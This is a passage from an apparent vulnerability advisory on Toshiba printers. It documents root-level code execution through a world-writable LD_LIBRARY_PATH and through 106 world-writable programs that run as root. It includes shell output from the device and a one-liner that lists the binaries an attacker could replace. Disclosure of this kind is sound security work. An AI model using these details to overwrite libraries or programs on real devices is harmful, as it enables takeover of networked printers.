77799000-777a4000 r-xp 00000000 00:0d 7014       /ramdisk/al/libGetNameInfoInterface.so
777a4000-777a6000 rw-p 0000a000 00:0d 7014       /ramdisk/al/libGetNameInfoInterface.so
/home/SYSROM_SRC/build/release/bin/nqcs
7776d000-7777c000 r-xp 00000000 00:0d 10712      /ramdisk/al/libGetAddtInfoInterface.so
7777c000-7777e000 rw-p 0000e000 00:0d 10712      /ramdisk/al/libGetAddtInfoInterface.so
7777e000-77789000 r-xp 00000000 00:0d 7014       /ramdisk/al/libGetNameInfoInterface.so
77789000-7778b000 rw-p 0000a000 00:0d 7014       /ramdisk/al/libGetNameInfoInterface.so
[...]
/usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
777b5000-777c4000 r-xp 00000000 00:0d 10712      /ramdisk/al/libGetAddtInfoInterface.so
777c4000-777c6000 rw-p 0000e000 00:0d 10712      /ramdisk/al/libGetAddtInfoInterface.so
777c7000-777d2000 r-xp 00000000 00:0d 7014       /ramdisk/al/libGetNameInfoInterface.so
777d2000-777d4000 rw-p 0000a000 00:0d 7014       /ramdisk/al/libGetNameInfoInterface.so
/usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
777b5000-777c4000 r-xp 00000000 00:0d 10712      /ramdisk/al/libGetAddtInfoInterface.so
777c4000-777c6000 rw-p 0000e000 00:0d 10712      /ramdisk/al/libGetAddtInfoInterface.so
777c7000-777d2000 r-xp 00000000 00:0d 7014       /ramdisk/al/libGetNameInfoInterface.so
777d2000-777d4000 rw-p 0000a000 00:0d 7014       /ramdisk/al/libGetNameInfoInterface.so
[...]
./alusermgr
776f6000-77705000 r-xp 00000000 00:0d 10712      /ramdisk/al/libGetAddtInfoInterface.so
77705000-77707000 rw-p 0000e000 00:0d 10712      /ramdisk/al/libGetAddtInfoInterface.so
77707000-77712000 r-xp 00000000 00:0d 7014       /ramdisk/al/libGetNameInfoInterface.so
77712000-77714000 rw-p 0000a000 00:0d 7014       /ramdisk/al/libGetNameInfoInterface.so
./allicensemgmt
777dc000-777eb000 r-xp 00000000 00:0d 10712      /ramdisk/al/libGetAddtInfoInterface.so
777eb000-777ed000 rw-p 0000e000 00:0d 10712      /ramdisk/al/libGetAddtInfoInterface.so
777ed000-777f8000 r-xp 00000000 00:0d 7014       /ramdisk/al/libGetNameInfoInterface.so
777f8000-777fa000 rw-p 0000a000 00:0d 7014       /ramdisk/al/libGetNameInfoInterface.so
[...]
</code></pre>
<p>An attacker can remotely compromise any Toshiba printer.</p>
<p><a id="lpe-rce-ld-library-path"></a></p>
<h2>Details - Local Privilege Escalation and Remote Code Execution using insecure LD_LIBRARY_PATH</h2>
<p>Toshiba printers are vulnerable to a Local Privilege Escalation vulnerability because of an insecure LD_LIBRARY_PATH variable. This Local Privilege Escalation can be also exploited as a Remote Code Execution by uploading a malicious library using the <a href="#pre-auth-rces-upload">Pre-authenticated Remote Code Execution as root or apache and multiple Local Privilege Escalations</a> vulnerability.</p>
<p>Toshiba printers are configured with an insecure <code>$LD_LIBRARY_PATH</code> variable:</p>
<pre><code>bash-4.1# printenv|grep LD_LIBRARY_PATH
LD_LIBRARY_PATH=/home/SYSROM_SRC/build/release/lib:/mfp/lib:/home/SYSROM_SRC/NoBuildItems/common/lib:/home/SYSROM_SRC/build/thirdparty//plugins//platforminputcontexts/:/home/SYSROM_SRC/build/release/lib
bash-4.1#
</code></pre>
<p>The <code>$LD_LIBRARY_PATH</code> variable contains 4 directories insecure permissions (777) allowing any attacker to replace these libraries with malicious libraries that will be then executed:</p>
<ul>
<li><code>/home/SYSROM_SRC/build/release/lib</code></li>
<li><code>/mfp/lib</code></li>
<li><code>/home/SYSROM_SRC/NoBuildItems/common/lib</code></li>
<li><code>/home/SYSROM_SRC/build/thirdparty//plugins//platforminputcontexts/</code></li>
</ul>
<p>We can confirm these directories have insecure permissions and/or the files stored inside these directories have insecure permissions as shown below:</p>
<p>Insecure permissions of <code>/home/SYSROM_SRC/build/release/lib</code>:</p>
<pre>
bash-4.1# ls -la /home/SYSROM_SRC/build/release/lib 
total 391144
<font color=red>drwxrwxrwx  4 root root    65536 May 27 16:28 .</font>
drwxrwxrwx 19 root root     4096 May 27 16:28 ..
lrwxrwxrwx  1 root root       38 Apr  6  2016 ImageMagick-6.3.3 -> ../../thirdparty/lib/ImageMagick-6.3.3
lrwxrwxrwx  1 root root       38 Mar 14 16:27 ImageMagick-6.7.5 -> ../../thirdparty/lib/ImageMagick-6.7.5
lrwxrwxrwx  1 root root       15 Mar 14 16:27 al8021XNMO.so -> al8021XNMO.so.0
-rwxrwxrwx  1 root root   223011 Dec  6 01:58 al8021XNMO.so.0
lrwxrwxrwx  1 root root       14 Mar 14 16:27 alDDNSNMO.so -> alDDNSNMO.so.0
-rwxrwxrwx  1 root root   171442 Dec  6 01:59 alDDNSNMO.so.0
lrwxrwxrwx  1 root root       13 Mar 14 16:27 alDNSNMO.so -> alDNSNMO.so.0
[...]
</pre>

<p>Insecure permissions of <code>/mfp/lib</code>:</p>
<pre>
bash-4.1# ls -la /mfp/lib 
total 344308
drwxr-xr-x 2 root   root          12288 May 27 16:28 .
drwxr-xr-x 8 root   root           4096 May 27 16:28 ..
<font color=red>-rwxrwxrwx 1 root   root             75 Jan 11  2013 DirectoryCopy.txt
-rwxrwxrwx 1 root   root            203 Jun 29  2017 SharedFiles.ini
-rwxrwxrwx 1 root   root        6210326 Jun  9  2022 laser.so
-rwxrwxrwx 1 root   root       11386849 Jun  9  2022 laserc1x.so
-rwxrwxrwx 1 root   root         298388 Dec 17  2017 libAbbyyZlib.so
-rwxrwxrwx 1 root   root        1518996 Dec 17  2017 libBarcode.so
-rwxrwxrwx 1 root   root        1045032 Dec 17  2017 libBusinessCard.Analyser.so
[...]</font>
</pre>

<p>Insecure permissions of <code>/home/SYSROM_SRC/NoBuildItems/common/lib</code>:</p>
<pre>
bash-4.1# ls -la /home/SYSROM_SRC/NoBuildItems/common/lib 
total 49580
<font color=red>drwxrwxrwx 2 root root     4096 May 27 16:27 .</font>
drwxrwxrwx 4 root root     4096 Dec  6 00:21 ..
-rwxrwxrwx 1 root root   624082 Dec  6 04:53 libCryptolib.so
-rwxrwxrwx 1 root root   624082 Dec  6 04:53 libCryptolib.so.0
-rwxrwxrwx 1 root root   624082 Apr 20  2018 libCryptolib.so.0.0.0
-rwxrwxrwx 1 root root 22366570 Jun  4  2018 libFREmbed.so
lrwxrwxrwx 1 root root       14 Mar 14 16:27 libasicif.so -> libasicif.so.1
lrwxrwxrwx 1 root root       16 Mar 14 16:27 libasicif.so.1 -> libasicif.so.1.0
-rwxrwxrwx 1 root root    12649 Apr  2  2016 libasicif.so.1.0
[...]
</pre>

<p>Insecure permissions of <code>/home/SYSROM_SRC/build/thirdparty//plugins//platforminputcontexts/</code>:</p>
<pre>
bash-4.1# ls -la /home/SYSROM_SRC/build/thirdparty//plugins//platforminputcontexts/ 
total 13036
<font color=red>drwxrwxrwx  2 510 510     4096 Sep 13  2019 .</font>
drwxrwxrwx 18 510 510     4096 Sep 13  2019 ..
-rwxrwxrwx  1 510 510    84844 Aug 25  2016 libibusplatforminputcontextplugin.so
-rwxrwxrwx  1 510 510 13252081 Sep 13  2019 libscreenkeyboardplugin.so
bash-4.1#
</pre>

<p><u>On a side note, all the libraries have also insecure permissions in the previous listing.</u></p>
<p>An attacker can remotely compromise any Toshiba printer.</p>
<p><a id="lpe-rce-106-programs"></a></p>
<h2>Details - Local Privilege Escalation and Remote Code Execution using insecure permissions for 106 programs</h2>
<p>Some vendor-specific programs are running inside Toshiba printers. These programs run as root and have insecure permissions (777) allowing an attacker to replace these programs with malicious programs. This Local Privilege Escalation can be also exploited as a Remote Code Execution by uploading a malicious program using the <a href="#pre-auth-rces-upload">Pre-authenticated Remote Code Execution as root or apache and multiple Local Privilege Escalations</a> vulnerability.</p>
<p>Some programs are running as root, for example:</p>
<pre><code>bash-4.1# ps auxw | grep root
root      1448  0.0  0.7 143680 21860 ?        Sl   16:34   0:00 /home/SYSROM_SRC/build/release/bin/slapd -h ldap://127.0.0.1 -f /home/SYSROM_SRC/build/release/etc/openldap/slapd.conf -d 1
root      1460  0.0  0.2 387308  8036 ?        Sl   16:34   0:02 /home/SYSROM_SRC/bin/mapper firstboot=0
[...]
root      1487  0.0  0.3  53496 10184 ?        Sl   16:34   0:02 ./cissm -T 7 -d ssm.xml
root      1647  0.0  0.3  67568  9256 ?        Sl   16:34   0:02 ./cischeduler -S ramdisk
root      1648  0.0  0.3  49452 11852 ?        Sl   16:34   0:00 ./cisystemresourcemanager -T8
root      1650  0.0  0.3  50320 11112 ?        S    16:34   0:00 ./pipeMN -T8
root      1652  0.0  0.3  47372 10708 ?        S    16:34   0:00 ./cpe -T8
root      1653  0.0  0.2  35524  8888 ?        S    16:34   0:00 ./dem -T8
root      1654  0.0  0.4  53448 12588 ?        S    16:34   0:00 ./dim -T8
root      1655  0.1  0.4  96460 12128 ?        Sl   16:34   0:18 ./alboserver -T5
[...]
</code></pre>
<p>Using this one-liner, it is possible to list the file corresponding to programs running inside the printers:</p>
<p>Programs running as root:</p>
<pre><code>bash-4.1# for i in $(ps auxww | grep root | awk '{ print $11 }' | grep -v '^\[' | grep -v COMMAND | grep -v '(' | grep -v ':$' | grep -v 'supervising' | sort | uniq); do ls -la $(which "$(echo $i | sed -e 's#^\./##')");done
</code></pre>
<p>Running with a different user:</p>
<pre><code>for i in $(ps auxww | grep -v root | awk '{ print $11 }' | grep -v '^\[' | grep -v COMMAND | grep -v '(' | grep -v ':$' | grep -v 'supervising' | sort | uniq); do ls -la $(which "$(echo $i | sed -e 's#^\./##')");done
</code></pre>
<p>These commands allow to list 106 vulnerable programs found inside the printers.</p>
<p><a id="lpe-rce-3-programs"></a></p>
<h3>3 vulnerable programs not running as root</h3>
<p>3 programs have been identified as vulnerable (running with a low-privileged user and that can be overwritten by any local or remote attacker):</p>
<ul>
<li>/home/SYSROM_SRC/thirdparty/sbin/slpd</li>
<li>/usr/local/ebx/bin/httpd</li>
<li>/usr/local/ebx/httpd_worker/bin/httpd_worker</li>
</ul>
<p>Vulnerable programs not running as root:</p>
<pre><code>bash-4.1# for i in $(ps auxww | grep -v root | awk '{ print $11 }' | grep -v '^\[' | grep -v COMMAND | grep -v '(' | grep -v ':$' | grep -v 'supervising' | sort | uniq); do ls -la $(which "$(echo $i | sed -e 's#^\./##')");done

lrwxrwxrwx 1 root root 26 Mar 14 16:27 /home/SYSROM_SRC/bin/slpd -&gt; ../../thirdparty/sbin/slpd
-rwxrwxrwx 1 apache messagebus 656546 Dec  6 01:34 /usr/local/ebx/bin/httpd
-rwxrwxrwx 1 apache messagebus 665612 Dec  6 01:34 /usr/local/ebx/httpd_worker/bin/httpd_worker
bash-4.1#
</code></pre>
<p>When following the link to slpd, we can confirm it is also vulnerable:</p>
<pre><code>bash-4.1# ls -la /home/SYSROM_SRC/build/thirdparty/sbin/slpd
-rwxrwxrwx 1 root root 106023 Dec  6 01:27 /home/SYSROM_SRC/build/thirdparty/sbin/slpd
bash-4.1#
</code></pre>
<p><a id="lpe-rce-103-programs"></a></p>
<h3>103 vulnerable programs running as root</h3>
<p>103 programs have been identified as vulnerable (running as root and that can be overwritten by any local or remote attacker):</p>
<ul>
<li>/home/SYSROM_SRC/bin/alllmnr</li>
<li>/home/SYSROM_SRC/bin/dnsValidateDaemon</li>
<li>/home/SYSROM_SRC/bin/eBXDebugLogUtility</li>
<li>/home/SYSROM_SRC/bin/ipv6_daemon</li>
<li>/home/SYSROM_SRC/bin/mapper</li>
<li>/home/SYSROM_SRC/bin/syscallerr</li>
<li>/home/SYSROM_SRC/build/release/bin/agent_faxreceive</li>
<li>/home/SYSROM_SRC/build/release/bin/agent_faxtransmit</li>
<li>/home/SYSROM_SRC/build/release/bin/agent_ipfaxreceive</li>
<li>/home/SYSROM_SRC/build/release/bin/agent_ipfaxtransmit</li>
<li>/home/SYSROM_SRC/build/release/bin/agent_print</li>
<li>/home/SYSROM_SRC/build/release/bin/agent_rip</li>
<li>/home/SYSROM_SRC/build/release/bin/agent_scan</li>
<li>/home/SYSROM_SRC/build/release/bin/alaccountmgr</li>
<li>/home/SYSROM_SRC/build/release/bin/alAddressBookMgr</li>
<li>/home/SYSROM_SRC/build/release/bin/alappmanager</li>
<li>/home/SYSROM_SRC/build/release/bin/alboserver</li>
<li>/home/SYSROM_SRC/build/release/bin/alcbamanager</li>
<li>/home/SYSROM_SRC/build/release/bin/alCloning</li>
<li>/home/SYSROM_SRC/build/release/bin/aldevauthmgmtplugin</li>
<li>/home/SYSROM_SRC/build/release/bin/aldeviceconfigplugin</li>
<li>/home/SYSROM_SRC/build/release/bin/aldeviceserviceplugin</li>
<li>/home/SYSROM_SRC/build/release/bin/aleFilingmgr</li>
<li>/home/SYSROM_SRC/build/release/bin/aleSCL</li>
<li>/home/SYSROM_SRC/build/release/bin/alExportImport</li>
<li>/home/SYSROM_SRC/build/release/bin/alfilestoragem</li>
<li>/home/SYSROM_SRC/build/release/bin/alftpprintd</li>
<li>/home/SYSROM_SRC/build/release/bin/algrpmgr</li>
<li>/home/SYSROM_SRC/build/release/bin/alhddalertmgr</li>
<li>/home/SYSROM_SRC/build/release/bin/alhddbackuprestore</li>
<li>/home/SYSROM_SRC/build/release/bin/alhomedatamgr</li>
<li>/home/SYSROM_SRC/build/release/bin/alhp9100</li>
<li>/home/SYSROM_SRC/build/release/bin/alifaxreceive</li>
<li>/home/SYSROM_SRC/build/release/bin/alintegritychkmgr</li>
<li>/home/SYSROM_SRC/build/release/bin/aljobcontroller</li>
<li>/home/SYSROM_SRC/build/release/bin/aljobtemplatemgr</li>
<li>/home/SYSROM_SRC/build/release/bin/allicensemgmt</li>
<li>/home/SYSROM_SRC/build/release/bin/allld2d</li>
<li>/home/SYSROM_SRC/build/release/bin/alLogmanager</li>
<li>/home/SYSROM_SRC/build/release/bin/alLogRetriever</li>
<li>/home/SYSROM_SRC/build/release/bin/allprng</li>
<li>/home/SYSROM_SRC/build/release/bin/almailboxapplication</li>
<li>/home/SYSROM_SRC/build/release/bin/almaintenanceplugin</li>
<li>/home/SYSROM_SRC/build/release/bin/alnetefiRemoteifsr</li>
<li>/home/SYSROM_SRC/build/release/bin/alnfcplugin</li>
<li>/home/SYSROM_SRC/build/release/bin/alnsm</li>
<li>/home/SYSROM_SRC/build/release/bin/alpanel</li>
<li>/home/SYSROM_SRC/build/release/bin/alPanelStartLEDHandler</li>
<li>/home/SYSROM_SRC/build/release/bin/alPanelUIMessageHandler</li>
<li>/home/SYSROM_SRC/build/release/bin/alpdlfiltermanager</li>
<li>/home/SYSROM_SRC/build/release/bin/alpresentationresourcemgr</li>
<li>/home/SYSROM_SRC/build/release/bin/alprintmn</li>
<li>/home/SYSROM_SRC/build/release/bin/alreportmanager</li>
<li>/home/SYSROM_SRC/build/release/bin/alreportsmsgr</li>
<li>/home/SYSROM_SRC/build/release/bin/alrestrictionmode</li>
<li>/home/SYSROM_SRC/build/release/bin/alrolemgr</li>
<li>/home/SYSROM_SRC/build/release/bin/alsecurityconfiguration</li>
<li>/home/SYSROM_SRC/build/release/bin/alServiceUIPlugin</li>
<li>/home/SYSROM_SRC/build/release/bin/alsharedprintDp</li>
<li>/home/SYSROM_SRC/build/release/bin/alsoftwareupdateclient</li>
<li>/home/SYSROM_SRC/build/release/bin/alstage2</li>
<li>/home/SYSROM_SRC/build/release/bin/alUiFrameWork</li>
<li>/home/SYSROM_SRC/build/release/bin/alulm</li>
<li>/home/SYSROM_SRC/build/release/bin/alusbmscapplication</li>
<li>/home/SYSROM_SRC/build/release/bin/alusbPrint</li>
<li>/home/SYSROM_SRC/build/release/bin/aluserAuthMgr</li>
<li>/home/SYSROM_SRC/build/release/bin/alusermgr</li>
<li>/home/SYSROM_SRC/build/release/bin/alViewPlugin</li>
<li>/home/SYSROM_SRC/build/release/bin/alwsdiscovery</li>
<li>/home/SYSROM_SRC/build/release/bin/alwsmex</li>
<li>/home/SYSROM_SRC/build/release/bin/alwsprint</li>
<li>/home/SYSROM_SRC/build/release/bin/alwsscanner</li>
<li>/home/SYSROM_SRC/build/release/bin/armn</li>
<li>/home/SYSROM_SRC/build/release/bin/cipollproc</li>
<li>/home/SYSROM_SRC/build/release/bin/ciprioritymanager</li>
<li>/home/SYSROM_SRC/build/release/bin/cischeduler</li>
<li>/home/SYSROM_SRC/build/release/bin/cissm</li>
<li>/home/SYSROM_SRC/build/release/bin/cisystemresourcemanager</li>
<li>/home/SYSROM_SRC/build/release/bin/cpe</li>
<li>/home/SYSROM_SRC/build/release/bin/de_ipfax</li>
<li>/home/SYSROM_SRC/build/release/bin/dem</li>
<li>/home/SYSROM_SRC/build/release/bin/dim</li>
<li>/home/SYSROM_SRC/build/release/bin/ebx_dl</li>
<li>/home/SYSROM_SRC/build/release/bin/faxmilter</li>
<li>/home/SYSROM_SRC/build/release/bin/informationservice</li>
<li>/home/SYSROM_SRC/build/release/bin/notificationservice</li>
<li>/home/SYSROM_SRC/build/release/bin/pipeMN</li>
<li>/home/SYSROM_SRC/build/release/bin/sim</li>
<li>/home/SYSROM_SRC/build/release/bin/sljobmanagement</li>
<li>/home/SYSROM_SRC/build/release/bin/snmp_watchdog</li>
<li>/home/SYSROM_SRC/build/release/bin/ssdktimestamp</li>
<li>/home/SYSROM_SRC/build/release/bin/wfpc</li>
<li>/home/SYSROM_SRC/build/thirdparty/bin/alipp</li>
<li>/home/SYSROM_SRC/build/thirdparty/bin/dibbler-client</li>
<li>/home/SYSROM_SRC/build/thirdparty/bin/mDNSResponderPosix</li>
<li>/home/SYSROM_SRC/build/thirdparty/bin/nqcs</li>
<li>/home/SYSROM_SRC/build/thirdparty/bin/nqnd</li>
<li>/home/SYSROM_SRC/build/thirdparty/bin/python3.5</li>
<li>/home/SYSROM_SRC/build/thirdparty/bin/vsftpd</li>
<li>/home/SYSROM_SRC/build/thirdparty/libexec/slapd</li>
<li>/home/SYSROM_SRC/build/thirdparty/sbin/snmpd</li>
<li>/usr/local/ebx/bin/httpd</li>
<li>/usr/local/ebx/httpd_worker/bin/httpd_worker</li>
</ul>
<p>The analysis is shown below.</p>
<p>Vulnerable programs running as root, with insecure permissions:</p>
<pre>
bash-4.1# for i in $(ps auxww | grep root | awk '{ print $11 }' | grep -v '^\[' | grep -v COMMAND | grep -v '(' | grep -v ':$' | grep -v 'supervising' | sort | uniq); do ls -la $(which "$(echo $i | sed -e 's#^\./##')");done
<font color=red>-rwxrwxrwx 1 root root 562669 Dec  6 04:10 /home/SYSROM_SRC/build/release/bin/agent_faxreceive
-rwxrwxrwx 1 root root 608397 Dec  6 04:11 /home/SYSROM_SRC/build/release/bin/agent_faxtransmit
-rwxrwxrwx 1 root root 561916 Dec  6 04:38 /home/SYSROM_SRC/build/release/bin/agent_ipfaxreceive
-rwxrwxrwx 1 root root 594505 Dec  6 04:38 /home/SYSROM_SRC/build/release/bin/agent_ipfaxtransmit
-rwxrwxrwx 1 root root 572434 Dec  6 04:11 /home/SYSROM_SRC/build/release/bin/agent_print
-rwxrwxrwx 1 root root 556369 Dec  6 04:10 /home/SYSROM_SRC/build/release/bin/agent_rip
-rwxrwxrwx 1 root root 557372 Dec  6 04:10 /home/SYSROM_SRC/build/release/bin/agent_scan
-rwxrwxrwx 1 root root 2191621 Dec  6 02:13 /home/SYSROM_SRC/build/release/bin/alAddressBookMgr
-rwxrwxrwx 1 root root 939045 Dec  6 02:22 /home/SYSROM_SRC/build/release/bin/alCloning
-rwxrwxrwx 1 root root 1019576 Dec  6 02:20 /home/SYSROM_SRC/build/release/bin/alExportImport
-rwxrwxrwx 1 root root 1354094 Dec  6 02:15 /home/SYSROM_SRC/build/release/bin/alLogRetriever
-rwxrwxrwx 1 root root 734343 Dec  6 02:21 /home/SYSROM_SRC/build/release/bin/alLogmanager
-rwxrwxrwx 1 root root 241886 Dec  6 02:24 /home/SYSROM_SRC/build/release/bin/alPanelStartLEDHandler
-rwxrwxrwx 1 root root 2282226 Dec  6 02:24 /home/SYSROM_SRC/build/release/bin/alPanelUIMessageHandler
-rwxrwxrwx 1 root root 211250 Dec  6 02:22 /home/SYSROM_SRC/build/release/bin/alServiceUIPlugin
-rwxrwxrwx 1 root root 6104526 Dec  6 03:51 /home/SYSROM_SRC/build/release/bin/alUiFrameWork
-rwxrwxrwx 1 root root 673942 Dec  6 02:20 /home/SYSROM_SRC/build/release/bin/alViewPlugin
-rwxrwxrwx 1 root root 2896387 Dec  6 02:12 /home/SYSROM_SRC/build/release/bin/alaccountmgr
-rwxrwxrwx 1 root root 2917038 Dec  6 02:26 /home/SYSROM_SRC/build/release/bin/alappmanager
-rwxrwxrwx 1 root root 1055271 Dec  6 01:49 /home/SYSROM_SRC/build/release/bin/alboserver
-rwxrwxrwx 1 root root 322981 Dec  6 02:08 /home/SYSROM_SRC/build/release/bin/alcbamanager
-rwxrwxrwx 1 root root 2528851 Dec  6 02:22 /home/SYSROM_SRC/build/release/bin/aldevauthmgmtplugin
-rwxrwxrwx 1 root root 4386856 Dec  6 03:30 /home/SYSROM_SRC/build/release/bin/aldeviceconfigplugin
-rwxrwxrwx 1 root root 4300169 Dec  6 03:25 /home/SYSROM_SRC/build/release/bin/aldeviceserviceplugin
-rwxrwxrwx 1 root root 1915456 Dec  6 02:14 /home/SYSROM_SRC/build/release/bin/aleFilingmgr
-rwxrwxrwx 1 root root 580229 Dec  6 01:50 /home/SYSROM_SRC/build/release/bin/alfilestoragem
-rwxrwxrwx 1 root root 509900 Dec  6 02:21 /home/SYSROM_SRC/build/release/bin/algrpmgr
-rwxrwxrwx 1 root root 441641 Dec  6 02:24 /home/SYSROM_SRC/build/release/bin/alhddalertmgr
-rwxrwxrwx 1 root root 696894 Dec  6 02:24 /home/SYSROM_SRC/build/release/bin/alhddbackuprestore
-rwxrwxrwx 1 root root 829606 Dec  6 02:16 /home/SYSROM_SRC/build/release/bin/alhomedatamgr
-rwxrwxrwx 1 root root 606628 Dec  6 03:28 /home/SYSROM_SRC/build/release/bin/alifaxreceive
-rwxrwxrwx 1 root root 162074 Dec  6 02:22 /home/SYSROM_SRC/build/release/bin/alintegritychkmgr
-rwxrwxrwx 1 root root 4414769 Dec  6 02:08 /home/SYSROM_SRC/build/release/bin/aljobcontroller
-rwxrwxrwx 1 root root 2832921 Dec  6 02:15 /home/SYSROM_SRC/build/release/bin/aljobtemplatemgr
-rwxrwxrwx 1 root root 434559 Dec  6 02:22 /home/SYSROM_SRC/build/release/bin/allicensemgmt
-rwxrwxrwx 1 root root 1258130 Dec  6 02:15 /home/SYSROM_SRC/build/release/bin/almailboxapplication
-rwxrwxrwx 1 root root 4674491 Dec  6 03:32 /home/SYSROM_SRC/build/release/bin/almaintenanceplugin
-rwxrwxrwx 1 root root 2339610 Dec  6 02:25 /home/SYSROM_SRC/build/release/bin/alnfcplugin
-rwxrwxrwx 1 root root 743285 Dec  6 01:53 /home/SYSROM_SRC/build/release/bin/alnsm
-rwxrwxrwx 1 root root 740586 Dec  6 03:45 /home/SYSROM_SRC/build/release/bin/alpanel
-rwxrwxrwx 1 root root 292667 Dec  6 02:21 /home/SYSROM_SRC/build/release/bin/alpdlfiltermanager
-rwxrwxrwx 1 root root 387749 Dec  6 02:22 /home/SYSROM_SRC/build/release/bin/alpresentationresourcemgr
-rwxrwxrwx 1 root root 1314049 Dec  6 01:52 /home/SYSROM_SRC/build/release/bin/alprintmn
-rwxrwxrwx 1 root root 2360596 Dec  6 03:22 /home/SYSROM_SRC/build/release/bin/alreportmanager
-rwxrwxrwx 1 root root 595735 Dec  6 03:21 /home/SYSROM_SRC/build/release/bin/alreportsmsgr
-rwxrwxrwx 1 root root 1367678 Dec  6 02:19 /home/SYSROM_SRC/build/release/bin/alrestrictionmode
-rwxrwxrwx 1 root root 1253012 Dec  6 02:21 /home/SYSROM_SRC/build/release/bin/alrolemgr
-rwxrwxrwx 1 root root 2272202 Dec  6 02:18 /home/SYSROM_SRC/build/release/bin/alsecurityconfiguration
-rwxrwxrwx 1 root root 972621 Dec  6 03:52 /home/SYSROM_SRC/build/release/bin/alsharedprintDp
-rwxrwxrwx 1 root root 1060254 Dec  6 02:13 /home/SYSROM_SRC/build/release/bin/alsoftwareupdateclient
-rwxrwxrwx 1 root root 1711439 Dec  6 02:25 /home/SYSROM_SRC/build/release/bin/alulm
-rwxrwxrwx 1 root root 612467 Dec  6 02:18 /home/SYSROM_SRC/build/release/bin/alusbmscapplication
-rwxrwxrwx 1 root root 3759736 Dec  6 02:17 /home/SYSROM_SRC/build/release/bin/aluserAuthMgr
-rwxrwxrwx 1 root root 2874311 Dec  6 02:20 /home/SYSROM_SRC/build/release/bin/alusermgr
-rwxrwxrwx 1 root root 899734 Dec  6 01:53 /home/SYSROM_SRC/build/release/bin/alwsdiscovery
-rwxrwxrwx 1 root root 809391 Dec  6 01:53 /home/SYSROM_SRC/build/release/bin/alwsmex
-rwxrwxrwx 1 root root 3782642 Dec  6 01:55 /home/SYSROM_SRC/build/release/bin/alwsprint
-rwxrwxrwx 1 root root 4271522 Dec  6 01:56 /home/SYSROM_SRC/build/release/bin/alwsscanner
-rwxrwxrwx 1 root root 355919 Dec  6 03:53 /home/SYSROM_SRC/build/release/bin/armn
-rwxrwxrwx 1 root root 18113 Dec  6 01:42 /home/SYSROM_SRC/build/release/bin/cipollproc
-rwxrwxrwx 1 root root 71587 Dec  6 01:42 /home/SYSROM_SRC/build/release/bin/ciprioritymanager
-rwxrwxrwx 1 root root 445362 Dec  6 01:42 /home/SYSROM_SRC/build/release/bin/cischeduler
-rwxrwxrwx 1 root root 532898 Dec  6 01:42 /home/SYSROM_SRC/build/release/bin/cissm
-rwxrwxrwx 1 root root 508004 Dec  6 01:48 /home/SYSROM_SRC/build/release/bin/cisystemresourcemanager
-rwxrwxrwx 1 root root 501163 Dec  6 04:16 /home/SYSROM_SRC/build/release/bin/cpe
-rwxrwxrwx 1 root root 1016124 Dec  6 04:39 /home/SYSROM_SRC/build/release/bin/de_ipfax
-rwxrwxrwx 1 root root 303779 Dec  6 04:16 /home/SYSROM_SRC/build/release/bin/dem
-rwxrwxrwx 1 root root 622110 Dec  6 04:16 /home/SYSROM_SRC/build/release/bin/dim
-rwxrwxrwx 1 root root 12229927 Dec  6 04:44 /home/SYSROM_SRC/build/release/bin/ebx_dl
-rwxrwxrwx 1 root root 1649127 Dec  6 04:02 /home/SYSROM_SRC/build/release/bin/informationservice
-rwxrwxrwx 1 root root 1257189 Dec  6 04:01 /home/SYSROM_SRC/build/release/bin/notificationservice
-rwxrwxrwx 1 root root 426167 Dec  6 04:14 /home/SYSROM_SRC/build/release/bin/pipeMN
-rwxrwxrwx 1 root root 269419 Dec  6 04:02 /home/SYSROM_SRC/build/release/bin/sim
-rwxrwxrwx 1 root root 258577 Dec  6 04:02 /home/SYSROM_SRC/build/release/bin/sljobmanagement
-rwxrwxrwx 1 root root 32089 Mar 14 16:28 /home/SYSROM_SRC/build/release/bin/ssdktimestamp
-rwxrwxrwx 1 root root 5986687 Dec  6 04:07 /home/SYSROM_SRC/build/release/bin/wfpc
-rwxrwxrwx 1 root root 78627 Dec  6 02:00 /home/SYSROM_SRC/bin/alllmnr
-rwxrwxrwx 1 root root 68223 Dec  6 01:57 /home/SYSROM_SRC/bin/dnsValidateDaemon
-rwxrwxrwx 1 root root 104184 Dec  6 01:48 /home/SYSROM_SRC/bin/eBXDebugLogUtility
-rwxrwxrwx 1 root root 76674 Dec  6 02:01 /home/SYSROM_SRC/bin/ipv6_daemon
-rwxrwxrwx 1 root root 28318 Dec  6 01:40 /home/SYSROM_SRC/bin/mapper
-rwxrwxrwx 1 root root 167219 Dec  6 01:48 /home/SYSROM_SRC/bin/syscallerr
-rwxrwxrwx 1 root root 316382 Dec  6 02:03 /home/SYSROM_SRC/build/release/bin/aleSCL
-rwxrwxrwx 1 root root 21142 Dec  6 02:01 /home/SYSROM_SRC/build/release/bin/alftpprintd
-rwxrwxrwx 1 root root 243145 Dec  6 01:53 /home/SYSROM_SRC/build/release/bin/alhp9100
-rwxrwxrwx 1 root root 84257 Dec  6 01:56 /home/SYSROM_SRC/build/release/bin/allld2d
-rwxrwxrwx 1 root root 270934 Dec  6 01:53 /home/SYSROM_SRC/build/release/bin/allprng
-rwxrwxrwx 1 root root 389522 Dec  6 02:02 /home/SYSROM_SRC/build/release/bin/alnetefiRemoteifsr
-rwxrwxrwx 1 root root 15176259 Dec  6 03:39 /home/SYSROM_SRC/build/release/bin/alstage2
-rwxrwxrwx 1 root root 126466 Dec  6 02:01 /home/SYSROM_SRC/build/release/bin/alusbPrint
-rwxrwxrwx 1 root root 1419229 Dec  6 02:01 /home/SYSROM_SRC/build/release/bin/faxmilter
-rwxrwxrwx 1 root root 21638 Dec  6 03:28 /home/SYSROM_SRC/build/release/bin/snmp_watchdog
-rwxrwxrwx 1 apache messagebus 656546 Dec  6 01:34 /usr/local/ebx/bin/httpd
-rwxrwxrwx 1 apache messagebus 665612 Dec  6 01:34 /usr/local/ebx/httpd_worker/bin/httpd_worker</font>
</pre>

<p>The previous command lists symbolic links that we can analyze, and we can confirm they are also vulnerable due to insecure permissions:</p>
<pre>
lrwxrwxrwx 1 root root 35 Mar 14 16:27 /home/SYSROM_SRC/bin/dibbler-client -> ../../thirdparty/bin/dibbler-client
lrwxrwxrwx 1 root root 26 Mar 14 16:27 /home/SYSROM_SRC/build/release/bin/alipp -> ../../thirdparty/bin/alipp
lrwxrwxrwx 1 root root 39 Mar 14 16:27 /home/SYSROM_SRC/build/release/bin/mDNSResponderPosix -> ../../thirdparty/bin/mDNSResponderPosix
